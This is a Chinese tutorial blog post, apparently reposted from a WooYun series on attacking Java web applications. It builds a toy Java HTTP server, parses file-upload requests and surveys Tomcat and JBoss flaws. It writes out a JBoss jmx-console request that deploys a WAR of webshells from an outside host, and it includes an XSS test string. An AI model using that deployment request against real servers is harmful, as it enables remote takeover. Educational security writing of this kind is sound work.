攻击JavaWeb应用————8、Server篇(下)

从42.zip到实战:用Python生成Zip炸弹,测试你的JavaWeb应用抗压性 本文探讨了如何利用Python生成Zip炸弹来测试JavaWeb应用的抗压性,揭示了文件解压功能可能带来的安全风险。通过工程化测试方法,包括资源耗尽测试、协议合规测试和混合攻击测试,帮助开发者验证系统的防护机制。文章还介绍了Python工具链的深度定制和自动化测试框架集成,为JavaWeb应用安全提供实用解决方案。 阅读详情

0x01 WebServer


Web服务器可以解析(handles)HTTP协议。当Web服务器接收到一个HTTP请求(request),会返回一个HTTP响应(response),例如送回一个HTML页面。

Server篇其实还缺少了JBOSS和Jetty,本打算放到Server[2]写的。但是这次重点在于和大家分享B/S实现和交互技术。Server[1]已经给大家介绍了许多由Java实现 的WebServer相信小伙伴们对Server的概念不再陌生了。Web服务器核心是根据HTTP协议解析(Request)和处理(Response)来自客户端的请求,怎样去解析和响应来自客户端的请求正是我们今天的主题。

B/S交互

enter image description here

浏览器发送HTTP请求。经Internet连接到对应服务器。服务器解析并处理Http请求,返回处理结果到浏览器。浏览器解析服务器返回的数据并显示解析后的网页。

在学习之前需要了解浏览器和Server工作原理,比如什么是HTTP协议什么是Socket。对于更底层的协议暂不提及。

HTTP协议

HTTP的发展是万维网协会(World Wide Web Consortium)和Internet工作小组(Internet Engineering Task Force)合作的结果,(他们)最终发布了一系列的RFC,其中最著名的RFC 2616,定义了HTTP协议中现今广泛使用的一个版本—HTTP 1.1。

详情: http://www.w3.org/Protocols/

请求http://www.google.com:

enter image description here

客户端浏览器发送了一个HTTP请求, 第一行GET / HTTP/1.1即:以GET方式请求“ /” 目录HTTP/1.1是请求的HTTP协议版本。而Google返回的则是一个基于HTTP协议的响应,其中包括了状态码、内容长度、服务器版本、以及返回内容类型等。客户端浏览器发送了一个请求(HttpRequest),Google服务器返回处理(Handling Request)并响应(HttpResponse)了这个请求。

通俗的说HTTP协议是一种固定的请求格式,只要按照固定的格式去发送请求,服务器就可以按照固定的方式去处理来自客户端的请求。

Socket:

Socket是应用层与TCP/IP协议族通信的中间软件抽象层,它是一组接口。Socket通常也称作”套接字",用于描述IP地址和端口,是一个通信链的句柄。在Internet上的主机一般运行了多个服务软件,同时提供几种服务。每种服务都打开一个Socket,并绑定到一个端口上,不同的端口对应于不同的服务。
  enter image description here

0x01 Java实现Web Server


Oracle提供了一个基础包:java.net用来实现网络应用程序开发。提供了阻塞的Socket和、非阻塞的SocketChannel、URL等。 客户端通过Socket与服务器端建立连接,然后客户端发送请求内容到服务器。服务器接收到请求返回给客户端,请求完成后断开连接。

1、Client

发送一个非标准的HTTP请求内容为”Hello...”给SAE服务器:
 enter image description here

请求首先到达了对方监听80端口的nginx,在发现客户端发送的内容不符合HTTP请求规范的同时返回了一个400错误(400 Bad Request)。 发送一个合法的HTTP请求(不截图了,把上面的Hello...换成了req),即发送:

"GET / HTTP/1.1\r\n"+
"Host: www.wooyun.org\r\n"+
"Connection: keep-alive\r\n"+
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"+
"Cookie: bdshare_firstime=1387989676924\r\n\r\n”;

服务器返回信息:
  enter image description here

两次请求的差异在于是否按照HTTP协议发送,当我们随意向目标端口发送请求时,返回了一个错误请求结果。当发送符合HTTP协议的请求时服务器返回了正确的处理结果。所以只需按照HTTP协议去解析请求和响应即可。与此同时不难看出请求头的任何内容都是可以伪造的,这也是之前写cs交互的时候提到为什么不要信任来自客户端的任意请求的根本原因。现在尝试着写一个Server,去解析来自浏览器的请求。

除了使用上面的“冗余代码”去发送HTTP请求,你还可以用oracle自带的URL包去发送HTTP请求会更加简单。通过setRequestProperties一样可以修改请求头。用getHeaderFields就能获取到响应头信息了。

2、简单HTTP服务器实现

需再一次看下上面Socket流程图,在服务器上监听某个端口(listen),等待请求(accept)。一旦有连接到达就开始读取请求内容(read),然后处理并输出响应内容(write),最后close。服务器端核心业务是获取请求、解析请求、处理请求、返回响应。

Server.java核心代码:
  enter image description here

浏览器请求:http://192.168.199.240:9527/wooyun.jsp?user=yzmm2&pass=123
 enter image description here

浏览器请求头:

GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1
Host: 192.168.199.240:9527
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8

现在需要做的是解析请求。在Server里面有一段解析请求的代码:Request req = new Request().parserRequest(sb.toString());//解析请求。具体的需要解析的内容包括:请求头(Header)、请求参数(Parameter)、请求的URI(RequestURI)等。如果是文件上传请求的话还得解析具体的内容(form-data)。 在解析的整个过程没看过RFC文档,只是根据个人理解去实现请求解析,有不对的地方见谅。

首先用换行符切开请求头,得到如下结果:GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1。可见这里是按空格隔开的,用正则的\s就可以切开了当前行了。这样就能简单的拿到:[GET, /wooyun.jsp?user=yzmm&pass=123, HTTP/1.1]把他们保存到类的成员变量以便后面调用。

解析请求头比较简单,只需把请求头内容按照key、value方式解析出来就行了。比如:Host: localhost:9527,解析后就成了key=Host,value=localhost:9527。parserGET方法就更简单了,把 /wooyun.jsp?user=yzmm&pass=123以”?”号切开后再以”=”号切开,最终得到的是key=user,value=yzmm、key=pass,value=123。

enter image description here

enter image description here  处理结果都装在了如下变量:

#!java
private String method;
private String queryString;
private String requstURI;
private String host;
private Map<String, Object> formContent = new LinkedHashMap<String, Object>();
private Map<String, Object> header = new LinkedHashMap<String, Object>();
private Map<String, Object> parameter = new LinkedHashMap<String, Object>();
private Map<String, Object> multipart = new LinkedHashMap<String, Object>();

如果想取出请求参数可以用parameter.get(“xxxx”)就行了,是不是跟javaee有那么些相似了?当请求解析完成后需要去加载请求的文件,比如这里的wooyun.jsp。

当请求处理完后调用getResponse方法把结果输出到浏览器:

#!java
public String getResponse(String content){
        return "HTTP/1.1 200 OK\r\n"+
               "server: "+Constants.SYS_CONFIG_NAME+"\r\n"+
               "Date: "+new Date()+"\r\n"+
               "X-Powered-By-yzmm: "+Constants.SYS_CONFIG_VERSION+"\r\n"+
               "Content-Type: text/html\r\n"+
               "Content-Length: "+(content!=null?content.length():0)+"\r\n\r\n"+
               content;
}

从上可见服务器的响应信息也是可以任意的。比如我修改了响应中的server的值你就会在浏览器的Response当中看到当前的server是: z7y-server。出现在响应头里面有意思的漏洞有:CRLF注入,有兴趣的小伙伴儿可以了解下。

0x02 文件上传请求解析


文件上传请求和普通的GET、POST不一样,在JavaEE里面会把multipart请求封装成一个InputStream对象。如果想要从请求里面解析具体的文件内容需要读取流。值得注意的是multipart/form-data中的input域也会包含在InputStream里面。在JavaEE里面可以用:request.getInputStream();或request.getReader();方法获取。

#!html
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>File Upload</title>
</head>
<body>
    <form action="http://192.168.199.240:9527/wooyun.jsp?user=zsy&pass=123" method="post" enctype="multipart/form-data">
        1<input type="checkbox" value="1" name="i" checked="checked" /> 2<input type="checkbox" value="2" name="i" checked="checked" /><br/>
        <input type="file" name="file" /><br/>
        <input type="text" value="<script>alert('你好.');</script>" name="name" style="width:250px;" / ><br/>
        <input type="submit" value="sub" />
    </form>
</body>
</html>

enter image description here

文件域下方Content-Type: text/html实际上隐藏了upload.html的内容,chrome不会在那儿显示。判定一个请求是否是文件上传只需从请求头里面取出Content-Type就行了,如果type是multipart/form-data;即标识当前请求类型是文件上传。

关于文件上传请求解析,我写的比较粗暴了。按照分割线分别把内容域和文件域提取出来,并封装到multipart map里面,它们的key分别是file和para。  enter image description here

写文件到”服务器”:  enter image description here

文件上传请求安全问题

值得注意的是假如一个文件上传和input域同时出现的情况下,跨站和Sql注入几率会非常的高。因为文件上传会把input域的请求参数封装到流里面,很多时候并没有人会去处理这样的恶意请求。

类似的案例: WooYun: 360网站宝/安全宝/加速乐及其他类似产品防护绕过缺陷之一 。漏洞提交者在文件上传请求中传递了SQL注入语句,而上面的安全软件的拦截都失效了。。。

据说在PHP里面还存在另外一个问题,文件上传的input域请求会被解析到对应的POST请求对象当中。那么也就是说假设一个站拦截了普通的GET、POST请求,但是没有拦截文件上传的恶意请求。仅需要简单的构造一个上传并传递注入语句就绕过了所谓的防御了。

0x03 文件或虚拟路径请求和处理


虚拟路径请求处理

在Servlet里面一个Servlet映射的是一个虚拟的路径。比如请求:http://xxx /servlet/hello。这个servlet/hello并不是一个实际存在的文件地址。所以我们请求的wooyun.jsp可以是真实存在的一个文件,也可以是一个虚拟的路径。比如当客户端请求wooyun.jsp的时候我们把请求交给Controller去处理(仿MVC):
  enter image description here

而我们的控制层假设做了一个请求校验:当user等于yzmm的时候输出Good!,否则输出Error. 
  enter image description here

分别请求:http://192.168.199.240:9527/wooyun.jsp?user=yzmm&pass=123和user=zsy输出都是正常的。
  enter image description here

普通的文件请求

假如用户请求的不是虚拟路径而是一个实际存在的文件呢?这个时候就需要把服务器的文件内容读取并返回给客户端。比如把Contoller注掉改为content = readFile(request);这次去读取ROOT下的wooyun.jsp内容。
  enter image description here

这次输出了”用户目录/webapps/zsy/ROOT/wooyun.jsp”内容。

0x04 Server安全问题


文件解析漏洞

服务器在处理请求或其本身可能存在一些安全问题。经典的比如IIS、Nginx解析漏洞。那么是什么原因让Server变得这么”不安全”呢?

在之前的系列里面讲过如果把Tomcat的web.xml的filter添加任意后缀到servlet-name为jsp的Servlet当中,那么所有后缀为.txt的请求都会被当作jsp解析! 
enter image description here

假设Tomcat在写正则的时候一不小心写成了:

#!java
Pattern.compile("\\.jsp").matcher("1.jsp.jpg").find();

那么所有的1.jsp.jpg的请求都会交给jsp对应的servlet处理。跟这类似的漏洞apache曾经就出现过。问题是apache如果在mime.types文件里面没有定义的扩展名,会给解析成倒数第二个定义的扩展名。

文件读取漏洞

好吧,这个Tomcat做的有点奇葩。在某些低版本的Tomcat当请求目录并没有找到对应的索引文件,且web.xml的listings是true。于是Tom猫就干脆列出这个目录的所有文件。

Tomcat还出过另一个低级漏洞,当请求的文件是UTF-8编码的时候会造成任意文件遍历漏洞。触发的条件为Apache Tomcat的配置文件context.xml 或 server.xml 的'allowLinking' 和 'URIencoding' 允许'UTF-8'选项

War文件部署漏洞

很多时候需要在线上部署一个新的应用时可以在Server的控制台去动态的部署一个war文件(其实就是一个压缩文件包)。Server会自动解压并部署。这虽说是非常的方便,但是却因为Server各自的实现不一或者自身安全意思淡漠导致任意的war文件都可以远程部署到Server中去。这里面的典型代表就是Jboss。请求:

http://192.168.0.113:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://www.ahack.net/iswin.war

成功后访问:http://192.168.0.113:8080/iswin/index.jsp 菜刀连接(默认包含index.jsp、index.jspx、index.jspf、cmd.jsp三个shell)。

测试版本:jboss-6.1.0.Final。http://p2j.cn/?p=342

enter image description here

控制台输出信息:
  enter image description here

这货去年十月还出过一个高危的漏洞,同样是远程war部署。

Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object RCE

详情: http://www.exploit-db.com/exploits/28713/ http://zone.wooyun.org/content/7398

除了上述漏洞某些Server还出过拒绝服务漏洞、控制台弱口令漏洞、爆路径漏洞、WebDAV、XSS等漏洞。可谓想做好一个WebServer是非常的艰难。

0x05 Server漏洞防御


在总结了之前的Server安全问题之后,我们有没有想过怎么去防御来自客户端的攻击呢?我们应该如何去防御?这里仅简要介绍防范思路至于防御细节,对不起请自行实现。

防御方式:

1、由远及近,从CDN层我们可以拦截所有的恶意请求。可以尝试在请求到达服务器之前净化请求信息。
2、从网络层可以用硬防处理恶意请求。
3、从服务器层可以写对应的Server拓展(Filter)拦截恶意请求。
4、安装服务器安全软件。
5、在应用层需要尽可能的注重代码编写,如果无法确保安全性可以在应用层写一个安全过滤器。

从实现的角度来说前两者的成本较高,效果或许并不会特别明显,后面几种方式显得更轻。

这一期可以说是对Server篇的补充吧,源码没什么水平有兴趣的朋友可以看看(下载地址:http://pan.baidu.com/s/1qW2Nwx2 )。希望大家看过笑笑之后更加“深入”的了解Request和Response吧。原打算写个简易浏览器也没时间了。快过年了,祝小伙伴们新年快乐!

基于JavaWeb的用户管理员系统开发实战 简介:用户管理员系统是基于JavaWeb技术构建的Web应用,采用JSP、STRUTS2框架与SQL Server数据库,实现用户注册、登录、信息管理及权限控制等功能。系统遵循MVC设计模式和三层架构,具备良好的可维护性与扩展性。通过SQLHelper工具优化数据库操作,并注重安全防护,防范SQL注入与XSS攻击。本项目包含完整源代码,适合学习JavaWeb开发、权限管理机制及企业级Web系统设计,为开发者提供了一个可定制、可复用的用户管理解决方案。 阅读详情

相关推荐

攻击JavaWeb应用1-9

JavaWeb安全系列,涉及JavaWeb安全的方方面面,很有参考价值。

基于Tomcat 的WEB Project存在的安全漏洞总结

1 检查工具:Acunetix Web Vulnerability Scanner V9破解版 2 检查漏洞说明结果显示: 2.1 HTML Form Without CSRF Protection 2.2 slow_Http_DoS 2.3  If possible, you should set the Secure flag for this cookie 2.4

HarryChenj的专栏 1万+

攻击JavaWeb应用[1-8]

JavaEE项目漏洞点

攻击JavaWeb应用[8]-后门篇

0x00 背景 关于JavaWeb后门问题一直以来都比较少,而比较新奇的后门更少。在这里我分享几种比较有意思的JavaWeb后门给大家玩。 0x01 jspx后门 在如今的web应用当中如果想直接传个jsp已经变得比较难了,但是如果只限制了asp、php、jsp、aspx等这些常见的后缀应该怎样去突破呢?我在读tomcat的配置文件的时候看到jsp和jspx都是由org.apache

Exploit的小站~ 2418

Ansys Zemax | 利用OpticStudio实现衍射光学元件(DOE)与超透镜(metalens)的高效建模与验证

本文详细介绍了如何利用Ansys Zemax的OpticStudio软件实现衍射光学元件(DOE)与超透镜(metalens)的高效建模与验证。通过混合建模策略、相位面等效建模法、POP与FDTD联合验证等多种方法,帮助工程师快速解决跨尺度仿真难题,提升设计效率与精度。文章还分享了实战案例与高级技巧,适用于AR、医疗内窥镜等应用场景。

weixin_29268331的博客 501

重头开始学ROS(8)---LVI-SAM复现与实机部署Ubuntu20.04以及如何适配6轴imu

本文详细记录了在Ubuntu20.04环境下复现LVI-SLAM系统的过程,主要包含四个部分:源码编译、问题解决、数据录制和6轴IMU适配。在编译过程中遇到GTSAM、PCL版本、OpenCV路径等典型问题并给出解决方案;详细说明了ROS bag包的录制规范;针对6轴IMU硬件限制,提供了核心代码修改方案。文章为LVI-SLAM系统在非标准环境下的部署提供了实用参考,特别适合需要适配不同硬件配置的研究者。

qq_73991479的博客 1559

转:攻击JavaWeb应用[1]-javaEE基础

http://www.cnblogs.com/oh3o/p/3224562.html JSP: 全名为java server page,其根本是一个简化的Servlet。 Servlet:Servlet是一种服务器端的Java应用程序,可以生成动态的Web页面。 JavaEE: JavaEE是J2EE新的名称。改名目的是让大家清楚J2EE只是Java企业应用。 什么叫Jsp什么叫...

weixin_30830327的博客 147

库卡机器人负载设置和自动负载测算

1.1在专家或者以上的权限下—“投入运行”——“工具/基座标管理”—“工具/工件”—添加1.2根据当前的工具所在的tool选择指定工具号;若是没有建立tool需要先建立建立方法看1.3负载数据的填写质量:抓手自重+产品重量总和(需要小于额定负载值)X、Y、Z :总质量的重心位置(基于法兰盘中心的位置计算,如下图的X_FLANGE、Y_FLANGE、Z_FLANGE)【此数据可以根据仿真或者CAD数据得出】A、B、C:是总质量绕着法兰盘中心所安装的角度位置 【此数据可以根据仿真或者CAD数据得出】

weixin_43462131的博客 3115

【JavaWeb知识】Web常见的攻击技术

互联网上的攻击大都将Web站点作为目标。本章讲解具体有哪些攻击Web站点的手段,以及攻击会造成怎样的影响。 针对Web的攻击技术 简单的 HTTP 协议本身并不存在安全性问题,因此协议本身几乎不会成为攻击的对象。 应用 HTTP 协议的服务器和客户端,以及运行在服务器上的 Web 应用等资源才是攻击目标。目前,来自互联网的攻击大多是冲着 Web 站点来的,它们大多把Web 应用作为攻击目标。本...

No8g攻城狮的博客 1356

HC-05蓝牙模块AT指令配置避坑全记录:从配对失败到稳定主从通信

本文详细记录了HC-05蓝牙模块AT指令配置的全过程,从基础认知到主从通信的稳定实现。涵盖了进入AT模式的方法、关键AT指令详解、主从配对流程及常见故障排除,帮助开发者快速掌握蓝牙串口模块的配置技巧,避免常见配对失败问题。

weixin_42632434的博客 416

UVC协议在STM32H7上的移植实战案例

手把手带你把UVC协议移植到STM32H7平台,重点解决USB高速枚举、视频流控制与YUV数据打包等关键问题。基于HAL库实现符合UVC 1.5规范的即插即用摄像头功能,让嵌入式设备轻松变身标准UVC视频源。

weixin_42437253的博客 397

攻击JavaWeb应用[9]-Server篇[2]

攻击JavaWeb应用[9]-Server篇[2] 0x01 WebServer Web服务器可以解析(handles)HTTP协议。当Web服务器接收到一个HTTP请求(request),会返回一个HTTP响应(response),例如送回一个HTML页面。 Server篇其实还缺少了JBOSS和Jetty,本打算放到Server[2]写的。但是这次重点在于和大

优雅的艺术 835

雷达工程师面试题目

详细描述项目背景、目标、你的具体职责和贡献,分析在项目实施过程中遇到的主要技术难题及解决方案,总结项目取得的成果和经验教训。

道亦无名 739

攻击JavaWeb应用————9、后门篇

0x00 背景关于JavaWeb后门问题一直以来都比较少,而比较新奇的后门更少。在这里我分享几种比较有意思的JavaWeb后门给大家玩。0x01 jspx后门在如今的web应用当中如果想直接传个jsp已经变得比较难了,但是如果只限制了asp、php、jsp、aspx等这些常见的后缀应该怎样去突破呢?我在读tomcat的配置文件的时候看到jsp和jspx都是由org.apache.jasper.se...

Fly_鹏程万里 1574

GEE:基于 Landsat 数据集生成(1986-2024)月度合成地表温度(LST)时间序列数据

优快云@_养乐多_本文将介绍使用 Landsat 时间序列计算(1986-2024)月度合成地表温度(LST)时间序列数据集的代码。

养乐多的博客 1714

YOLOv13改进策略【多YAML融合】| HWD + DSC3k2_PConv + Detect_MBConv

本文记录的是利用HWD + DSC3k2_PConv + Detect_MBConv改进YOLOv13,分别涉及骨干、颈部和检测头部分的改进。一方面按照此配置,其工作量及创新程度能够满足论文发表的需求,另一方面是一些难以融合多个YAML的举例,以帮助大家理解如何将多个YAML整合到一个YAML中。小波下采样:一个简单但有效的语义分割下采样模块。块由两个主要块组成:无损特征编码块和特征表示学习块。HWD模块与其他下采样模块对比:保留信息能力:传统的下采样方法(如最大池化、平均池化和步幅卷积等)会导致信息丢失,

Limiiiing的博客 496

攻击JavaWeb应用[7]-Server篇[1]

java应用服务器 Java应用服务器主要为应用程序提供运行环境,为组件提供服务。Java 的应用服务器很多,从功能上分为两类:JSP 服务器和 Java EE 服务器。 常见的Server概述 常见的Java服务器:Tomcat、Weblogic、JBoss、GlassFish、Jetty、Resin、IBM Websphere、Bejy Tiger、Geronimo、Jo

xiaoshan812613234的专栏 2744

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

转:攻击JavaWeb应用[7]-Server篇[1]

转:http://static.hx99.net/static/drops/tips-604.html 攻击JavaWeb应用[7]-Server篇[1] 园长·2013/09/22 15:39 java应用服务器 Java应用服务器主要为应用程序提供运行环境,为组件提供服务。Java 的应用服务器很多,从功能上分为两类:JSP 服务器和 Java EE 服务器。 ...

weixin_30387339的博客 262

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

攻击JavaWeb应用————7、Server篇(上)

java应用服务器Java应用服务器主要为应用程序提供运行环境,为组件提供服务。Java 的应用服务器很多,从功能上分为两类:JSP 服务器和 Java EE 服务器。常见的Server概述常见的Java服务器:Tomcat、Weblogic、JBoss、GlassFish、Jetty、Resin、IBM Websphere、Bejy Tiger、Geronimo、Jonas、Jrun、Orion...

Fly_鹏程万里 2131

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

绿盟科技 web检测到目标URL存在http host头攻击漏洞

检测到目标URL存在http host头攻击漏洞 绿盟科技 web 问题描述本项目使用javaweb开发解决方式: 问题描述 详细描述                      为...

jingleifan的博客 5232

转:攻击JavaWeb应用[9]-Server篇[2]

转:http://static.hx99.net/static/drops/papers-869.html 攻击JavaWeb应用[9]-Server篇[2] 园长·2014/01/22 12:58 注:在继后门篇后已经有很长时间没更新了,这次一打算写写Server[1]的续集。喜欢B/S吗?那我们今天干脆就来写一个简单的“Web服务器”吧。 0x01 WebServe...

weixin_30794851的博客 107
上一篇: 攻击JavaWeb应用————7、Server篇(上)
下一篇: 攻击JavaWeb应用————9、后门篇
FLy_鹏程万里
FLy_鹏程万里 优质创作者: 后端开发技术领域 优质创作者: 后端开发技术领域 领域专家: 操作系统技术领域 领域专家: 操作系统技术领域
博客等级 码龄9年 1万+粉丝 1364原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值